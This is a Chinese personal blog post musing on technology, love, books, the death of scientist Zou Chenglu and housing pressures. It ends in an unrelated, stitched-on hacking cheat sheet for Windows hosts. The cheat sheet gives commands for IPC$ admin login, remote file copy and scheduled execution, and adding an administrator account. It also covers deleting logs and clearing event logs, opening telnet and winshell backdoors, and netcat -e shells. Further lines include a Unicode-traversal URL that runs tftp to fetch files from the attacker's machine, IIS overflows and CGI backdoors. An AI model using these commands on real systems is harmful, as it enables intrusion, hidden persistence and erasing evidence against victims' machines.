Flysky

  
    最近发生了很多事情，技术的，生活的，还有未知的。
 
    技术的，IE 7简体中文版本终于发布了，等了很久。说实话，除了很强大的删除插件功能外，没感到其他的太多惊喜。希望越大，失望越大。Microsoft Windows Vista也终于发布了，等待了5年的新一代操作系统。更眩的外观，更方便的操作，更BT的硬件需求。新的东西总是给人带来了新的体验，新的感觉，进步总是好的。
 
    和MM联系上了，很难讲是种什么感觉。高兴？失望？还是若干滋味都有？最近老是做梦梦到MM，很奇怪的感觉。然后坐在床上想半天，到底是怎么了？自认为可以控制感情，如同控制我的可爱的计算机和网络。但是人毕竟不是机器，很难啊。然后突然想起来一句古话，问世间情为何物？有个搞笑的回答，废物。 : )  突然又想起来去年写的一句话，无论发生什么，生活还要继续。不知道是自己写的还是抄的，看的东西多了，想的多了，到后来发现很多东西不知道是不是自己的原创，我可不想被认为是个抄袭者。
 
    最近天气冷了，MM那也开始冷了。可是很担心她不会照顾自己，虽然有她家人在，但身体总是要自己好好照顾的。生病之后才发现身体的重要性，人总是在不断的后悔中明白很多道理。有时候突然明白，其实，其他都是身外之物，只有身体才是自己的。身体的好坏，只有自己才明白，无论舒服与否，所有的感觉都要自己承受。有句话，鞋子是否合适只有脚才知道。乖乖啊，保重身体才是最重要的。
 
    最近很失落，不知道是什么原因。其实，似乎从初中开始，就很怕过秋天，尤其是深秋。当看着窗外的万物萧瑟，不由的使人感到一种孤独感。树叶全落了，剩余的几个孤单的挂在树上，不知道什么时候一阵风飘过，掉落。世界失去了绿色，剩下的就全是黄色或是灰色，失去了生机，失去了生命。走在街上，周围的行人匆匆而过，衣服的颜色也没有了什么生气。偶尔的飘过几抹鲜艳的颜色，感觉很扎眼，很突兀。滑过的风，带走了生气，带来了沉默，萧瑟，还有，孤独。记得，在成都的某个秋天，我独坐在公园里，耳边听着YANNI的音乐，看着夕阳慢慢的凋落，我流泪了......不知道为什么，也许，我天生属于多愁善感的人，也许我应该从文而不是从理，更不是充满激情的Computer World！高中的时候，William和虫子就说过我，我应该学文，应该写点东西出来，虽然当时我很喜欢计算机。后来慢慢的，我离文也越来越远，天天浸泡在0和1的世界里，沉浸自我。从2000年到现在，读过的文学书籍寥寥无几。除了鲁迅的小说仔细看了不少，还有就是一些文学评论之外，就所剩无几。大学时，看过一句话：“有人说，文科生踩在秋天的枯叶上会有很多的感慨，有感而发而写出不少东西。而又有人说，其实更应该有感触的应该是理科生，因为他们天天和数字，实验打交道，很难有心情时间去体验周围的事情，而他们踩在枯叶上应该更有感触。”对于这句话深表赞同，是啊，我们应该有更多感触。当年有个女孩曾经和我说了一句话，当时很不理解，甚至觉得莫名其妙。她说，你应该多笑笑，多出去走走。当时很难理解，现在似乎有些明白了，她是对的。我应该出去走走，看看周围的世界。大学时有个同学曾这样评价我，什么都好，就是脾气太犟，容易走极端。呵呵，我承认，脾气犟有遗传的因素，也有后天的因素。在计算机的世界里，非1即0，永远没有中间的状态。这个世界里，一切显的那么简单，要么可以，要么不可以。曾经和同事探讨过一个问题，搞计算机的是不是都是比较倔强的人。后来讨论了很久，发现，基本上吧。做技术就要自信，知道什么可以什么不可以，玩不得半点虚的。后来看过一期《开心词典》，很巧，那一期的嘉宾全是来自IT业的，答到半场，王小丫就感叹，她发现搞计算机的都是很固执的人，认定的事情是不会改变的。呵呵，看到这我大笑，双手赞同，职业习惯。职业习惯，很有意思。看到有下划线的地方就想动鼠标；一遇到用手抄什么的时候，就马上想复制，粘贴；看电视或是电影或是书或是杂志报纸，一遇到不明白的地方，马上想Google一下......计算机已经改变了我们的世界，也将继续改变下去。她改变了人类文明史的进程，大大加快了信息的普及速度。我们应该感谢发明她的人，真的谢谢他们！！！
 
    最近看了不少书，很杂。有余华的《兄弟》，《许三观卖血记》，《在细雨中呼喊》，鲁迅先生的小说全集，弗里德曼的一些经济类文章，还有一些微型小说。其实，看书是很好的消遣方式，除了可以打发时间，还可以学到很多东西，净化思想。书真的是人类进步的阶梯，老话。但是读好书真的是一件很惬意的事情，你可以知道很多东西，明白很多道理。可以去想象书中的世界，作者的想法。读名家的书，你甚至可以和他对话，完全是精神上的，然后你会发现，原来很多东西就存在与你的身边，只是你没有细心的去发现他们。余华是个很有意思的作家，他的所有的语言都很浅显，没有太多华丽的辞藻，但是故事很引人入胜。他说因为他没上过大学，所以他的作品没有太多的修饰，都是自然的显现。读他的小说，如同江南的细雨，很细，很柔，丝丝缕缕，自然。鲁迅先生的小说则完全不同，如同一把雕刻刀，深深的刻入，狠狠的划开，鲜红的血，惨白的肉，一切那么直白的显现，痛快。可惜，鲁迅先生对于中国人的剖析，到现在看来还是那样的深刻，那样的准确，悲哀......至于弗里德曼的文章，则完全是门外汉，很难理解。《弗里德曼回忆录》，主要是他的自传，体会不同的人生。感觉这个可爱的老人最大的希望就是政府对于市场的干预越少越好，越少干预，则市场会更繁荣。一切不好解决的问题交给市场去办，一切按市场经济规律办。他的最大的观点就是2个：坚持经济自由，强调货币作用。可惜这个伟大的经济学家，一个可爱的老人已经走了。不知道他对中国的目前货币政策是怎么看的？是继续坚持和美元挂钩还是选择随经济规律来？现在已经是1：7.86了，中国这个经济火车头还能澎湃到什么时候？一旦慢下来，后果很难预料，不是学经济的，不敢乱说话，但是可以肯定，中国已经是世界经济的重要力量，任何人都不可忽视中国的力量！
 
    说点题外话，最近还有一个可敬的老人也走了，中国科学院资深院士、第三世界科学院院士，著名生物化学家邹承鲁11月23日凌晨5时22分因病在北京逝世，享年83岁。敬佩他的为人，敢说真话，敢和虚假的东西斗争。学术腐败，毁掉的将是中国科技，教育的未来。“一个真正的科学家，即便由于种种原因不能戳穿假话，或者无法说出真话，或者可以选择不说话，但至少要做到不说假话，不主动用假话去邀功请赏，去谋财害命。这是科学道德的最低的一条底线。”在此纪念一下他，老人走好！
 
     前几天和一个大学同学联系上了，他现在在东莞，一切都好。最不可思议的事情就是，他结婚了，而且女儿已经2岁了，晕一个先........想想才几年前，我们曾经一起搞计算机，一起喝酒，一起四处闲逛。没想到，他居然结婚了小孩也有了。生活就是一部电影，你永远不知道下一幕会发生什么，呵呵。问他的感受，幸福，开心，责任，压力都有。当然最大的感觉就是幸福，每天下班之后回家就看见可爱的女儿欢快的扑过来，大声的叫他爸爸，然后用棉棉的小嘴亲他......他说，那是他最开心幸福的时候，一切疲劳压力都烟消云散，说的我都心动不已。他大我2岁，那就是说他结婚的时候和我现在一样大？晕......我现在感觉自己像个小孩一样，结婚？对我来说是件很遥远的事情；孩子，那更是遥远的不能再遥远的事情了。说来也巧，那天回住的地方的时候，在门口看见了一个小女孩，大概3，4岁的样子，简直太可爱了，真的是个Angel，逗了她一会，说话嗲嗲的，可爱的大眼睛忽闪忽闪的，简直太可爱了。实在忍不住抱起来，又给她买了块巧克力，她嗲嗲的说：谢谢叔叔！晕啊，小孩太可爱了.......呵呵，孩子是上帝送给人间的天使，太有道理了，不知道是谁说的......前几天见了小叔家的小孩，男孩，才不到2岁，也是可爱的不得了。脾气大啊，稍微不满意马上大叫，不满足就不停；他想干什么就要干什么，不干不行，不然你就体会了什么是“高音喇叭”，呵呵。一天精神大的不行，迈着蹒跚的小步子，满屋子乱蹿，然后嘴里不知道在喊着什么，开心的不行。高兴的时候，你说亲一个，然后他就会慢慢的凑过来，用小小的，肉呼呼的，还带点口水的小嘴来亲你一下，HOHO，好可爱.......
 
    突然感觉，这篇BLOG就是一个大杂烩，什么都有，也似乎符合了我的心情，什么感觉都有。无论如何，生活都要继续。我无法预知未来会发生什么，我会怎么做，结果会是什么。但是至少现在我可以一个人静静的坐在计算机旁，写下心中所想，心中所感，记录过去，记录心情。但是，如果有一天，你突然发现，你的未来已经定格了，已经成为公式化，程序化，模式化，你会不会感到恐惧，悲哀，或是无奈？我讨厌这种生活，我希望充满活力。之前，又遇到以前一个美女同学，当年貌似是系花。她现在是空姐，天天到处飞，然后向我诉苦，飞的她很累，感觉很无助，问我到底该怎么办？我苦笑，这个问题，我无法回答。因为我现在也是到处漂，漂，漂的我没有什么归属感，同是天涯沦落人，慢慢熬吧，生活还要继续的。
 
    前一阵，又看了一遍《中国式离婚》，还是恐惧，悲哀，无助。我发现，过了一年多后，再看它，貌似还是老样子，除了感触更深之外。家里最近一直在催我，赶快结婚。感觉很无奈，结婚？和谁？谁愿意？我什么都没有，凭什么支撑起两个人的天空？还有未来的孩子。靠什么？我们这一代人是幸福的，80后，没经历什么苦难。可我们又是不幸的，因为我们一毕业就要面对就业，结婚。结婚需要房子，可是现在的房子如同天边的云彩一样，美丽，可是遥不可及。中国的房地产已经陷入了疯狂，貌似一个不断吹大的气球，不知道什么时候破裂。有个笑话，说中国的老太太到临死的那天才攒够了一套房子的钱，可是她要死了；而一个美国的老太太到临死的那天才把贷款买房的钱还完，可她也死了，但是她已经住了一辈子了。然后很多所谓的经济学家就用这个笑话来鼓励中国人，贷款买房，贷款消费，超前消费，用明天的钱来享受今天。我很怀疑这些所谓的经济学家的动机，他们真的了解中国国情或是说真的是为老百姓着想吗？还是他们是某些利益集团的代言人？任何一个人，家庭去承受贷款都是有前提的，也就是说一个人或是家庭能贷款与否取决于他抗风险的能力。所谓的抗风险能力就是这个人和家庭的收入能否应付除了必要的开支，保险，存款，还有应付疾病，教育，失业的风险之外，剩余的钱能否支付贷款的每个月的本金和利息。中国目前的社会保障体系无法应付这些风险，至少最近10年内很危险。试想，一个家庭贷款买房后，一般现在的情况是至少有45%要用来还款。那么剩余的55%要应付2--3个人乃至更多的人的各种开销，过的很辛苦。一旦这个家庭遇到重大疾病，那么马上就雪上加霜。中国目前的医疗体系已经腐败完了，白衣天使们除了想更多的榨干你金钱之外，至于你的健康，他是不会关心的，最多是死不了也好不了。还有教育，中国的教育已经是个市场经济和计划经济相作用的怪胎，除了收钱是市场化外，其他还是计划体制。学校里多半是充满了虚假，做作，同时还再残害更多的学生，除了这些，我找不出什么言辞来形容学校，虽然我感谢我在学校学到的知识。学校总是如同孙悟空72般变化一样，以各种名目来收钱，然后拿钱又不用在学生身上，这不是抢劫是什么？如果，一个家庭里有病人和上学的孩子，那么，他们的收入能否应付这些赤裸裸的抢劫？可以吗？拿前面那个笑话来说，美国或是说其他发达国家，他们有强大的社会保障体系，教育，医疗等等。你贷款后，只要正常的开销，那么你的钱是足够来应付银行的。因为即使遇到风险，国家也会有相应的保障体系来维护你的权益，因为你是纳税人。可在中国，就变的很可笑了。你是纳税人，但是你享受不到任何能给你带来保障的东西，这个国家除了收税的时候会想到你之外，其他时候是不会想到你的。而那些所谓的公务员，除了会对你在落难时加以鄙夷，嘲笑，最多带点同情之外，不会为你提供什么所谓的服务的，虽然这是他们分内的工作。有句话，我不会眼睁睁的看你往火坑里跳的，我会闭上眼睛的。用来形容他们最好。说到我自己，除了家里给的房子的首付外，我什么都没有。我无法想象天天背负着房子的压力而活上20甚至30年，那是生活吗？还有生活的乐趣吗？如果中间家里出点事情，我和我的妻子和孩子该怎么办？钱是有数的，可以花消是无数的？到时候，我们可爱的伟大的国家，会来帮助我吗？毕竟我纳税了。生活啊，这就是我们这代人要应对的生活，很可笑，也很无奈。怎么办？逃避还是面对？我不知道。
 
    这是一个最好的时代，也是一个最坏的时代。

　　（以管理员身份登录远程主机） net use file://IP/地址\ipc$ "密码" /use:"Administrator"

　　（传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 file://IP/地址\admin$

　　（查看远程主机时间） net time file://IP/地址

　　（定时启动某个程序） at file://IP/地址 02:18 readme.exe

　　（查看共享） net view file://IP/地址

　　（查看netbios工作组列表） nbtstat -A IP地址

　　（将远程主机C盘映射为自己的F盘） net use f: file://IP/地址\c$ ""/user:"Administrator"

　　（这两条把自己增加到管理员组）： net user 用户名 密码 /add

　 　net localgroup Administrators 用户名 /add

　　（断开连接） net use file://IP/地址\ipc$ /delete

　　扫尾：
　　del C:\winnt\system32\logfiles\*.*
　　del C:\winnt\ssytem32\config\*.evt
　　del C:\winnt\system32\dtclog\*.*
　　del C:\winnt\system32\*.log
　　del C:\winnt\system32\*.txt
　　del C:\winnt\*.txt
　　del C:\winnt\*.log

　　一、netsvc.exe

　　下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
　　netsvc /list file://IP/地址
　　netsvc schedule file://IP/地址 /query
　　netsvc file://IP/地址 schedule /start

　　二、OpenTelnet.exe

　　远程启动主机的Telnet服务，并绑定端口到7878，例如：
　　OpenTelnet file://IP/地址 用户名 密码 1 7878
　　然后就可以telnet到主机的7878端口，进入DOS方式下：
　　telnet IP地址 7878  

 

     三、winshell.exe

　　一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
　　p Path （查看winshell主程序的路径信息）
　　b reBoot （重新启动机器）
　　d shutDown （关闭机器）
　　s Shell （执行后你就会看到可爱的“C:\>”）
　　x eXit （退出本次登录会话，此命令并不终止winshell的运行）
　　CMD>

http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）

　　四、3389登陆器，GUI方式登录远程主机的

　　五、elsave.exe

　　事件日志清除工具
　　elsave -s file://IP/地址 -l "application" -C
　　elsave -s file://IP/地址 -l "system" -C
　　elsave -s file://IP/地址 -l "security" -C
　　执行后成功清除应用程序日志，系统日志，安全日志

　　六、hbulot.exe

　　开启win2kserver和winxp的3389服务
　　hbulot [/r]
　　使用/r表示安装完成后自动重起目标使设置生效。

　　七、nc.exe(netcat.exe)

　　一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
　　想要连接到某处: nc [-options] hostname port[s] [ports] ...
　　绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
　　参数:
　　-e prog 程序重定向，一旦连接，就执行 [危险!!]
　　-g gateway source-routing hop point[s], up to 8
　　-G num source-routing pointer: 4, 8, 12, ...
　　-h 帮助信息
　　-i secs 延时的间隔
　　-l 监听模式，用于入站连接
　　-n 指定数字的IP地址，不能用hostname
　　-o file 记录16进制的传输
　　-p port 本地端口号
　　-r 任意指定本地及远程端口
　　-s addr 本地源地址
　　-u UDP模式
　　-v 详细输出——用两个-v可得到更详细的内容
　　-w secs timeout的时间
　　-z 将输入输出关掉——用于扫描时

 

     八、TFTPD32.EXE

　　把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例  

     如：

http://ip/地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名   

　　idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命

     令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。

　　十、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE

     浏览器连接。

　　十一、 Xscan命令行运行参数说明：

 
　　在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按""强行关闭程序。
　　1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
　　xscan -file <主机列表文件名> <检测项目> [其他选项]
　　其中<检测项目> 含义如下:
　　-port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
　　-ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
　　-ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
　　-cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
　　-iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
　　[其他选项] 含义如下:
　　-v: 显示详细扫描进度
　　-p: 跳过Ping不通的主机
　　-o: 跳过没有检测到开放端口的主机
　　-t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10